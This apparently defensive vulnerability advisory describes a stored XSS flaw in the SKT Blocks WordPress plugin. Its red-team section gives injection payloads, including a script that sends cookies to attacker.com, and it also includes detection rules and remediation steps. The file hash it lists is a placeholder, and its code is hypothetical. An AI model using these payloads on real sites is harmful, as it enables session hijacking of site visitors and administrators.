CVE-2025-26998

Executive Summary

CVE-2025-26998 is a Stored Cross-Site Scripting (XSS) vulnerability in the SKT Blocks WordPress plugin, developed by Sktthemes. The vulnerability exists in versions from n/a through 1.8. It allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages. These scripts execute whenever a user accesses the compromised page, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as Stored XSS (CWE-79) with a CVSS score of 6.5 (Medium). As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed SKT Blocks from the WordPress dashboard or manually uploaded the plugin are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content modification possible.
• Availability (A): Low – Minor service disruption possible.

Threat Level: Medium. Exploitation requires authenticated access, but the impact is amplified in multi-user WordPress environments.

Deep Dive & Mechanics

The vulnerability resides in the SKT Blocks plugin, which provides custom Gutenberg blocks for WordPress. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the browser. Specifically, when a user with contributor-level access or higher creates or edits a post using SKT Blocks, the plugin does not neutralize HTML/JavaScript content in block attributes (e.g., custom CSS classes, link URLs, or text fields). This allows an attacker to inject malicious scripts that are stored in the WordPress database and executed when any user views the affected post.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates a new post or edits an existing one.
3. The attacker inserts an SKT Block (e.g., a button, heading, or image block).
4. The attacker injects a malicious payload into a block attribute (e.g., onmouseover="alert('XSS')" or <script>alert('XSS')</script>).
5. The plugin stores the payload without sanitization.
6. When an administrator or visitor views the post, the payload executes in their browser.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to use esc_attr() / esc_html() when outputting user-controlled data.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (skt-blocks/includes/class-blocks.php):

// Vulnerable: Direct output without sanitization
echo '<div class="' . $block_attributes['custom_class'] . '">';
echo $block_attributes['content'];
echo '</div>';

Patched Code (Hypothetical):

// Patched: Properly escape output
echo '<div class="' . esc_attr( $block_attributes['custom_class'] ) . '">';
echo wp_kses_post( $block_attributes['content'] );
echo '</div>';

Key Differences:

• esc_attr() is used for HTML attributes.
• wp_kses_post() is used for post content to allow safe HTML.
• All user-controlled data is sanitized before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with SKT Blocks plugin version <= 1.8.
• Contributor-level account credentials.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. Add an SKT Block (e.g., "Button" block).
4. In the block's "Custom CSS Class" field, inject the following payload:

   " onmouseover="alert('XSS')
   

5. Publish the post.
6. When an administrator hovers over the button, the XSS triggers.

Alternative Payload (Stored XSS):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual post content containing <script> tags or event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review user activity for posts created by low-privilege users containing suspicious HTML.

Hardening:

• Disable the SKT Blocks plugin until a patch is available.
• Restrict contributor-level users from using custom HTML in blocks.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • skt-blocks.zip (version 1.8): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie in the body.
• Log Entries:
  • WordPress post content containing <script> tags.
  • User agent strings with unusual JavaScript execution patterns.

Detection Engineering

YARA Rule

rule CVE_2025_26998_SKT_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in SKT Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26998"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS via SKT Blocks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using SKT Blocks
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - '<script'
            - 'onmouseover'
            - 'onclick'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26998 SKT Blocks Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the SKT Blocks plugin until a patch is released.
2. Review all posts created by contributor-level users for suspicious content.
3. Implement a Web Application Firewall (WAF) with XSS rules.

Long-Term Fix:

• Monitor the plugin's official page for updates.
• Apply the patch as soon as it becomes available.
• Educate users about the risks of using unpatched plugins.

Workaround:

• Use a security plugin like Wordfence to block XSS payloads.
• Restrict contributor roles from using custom HTML in blocks via user role editor.

Valters IT
Securing Digital Frontiers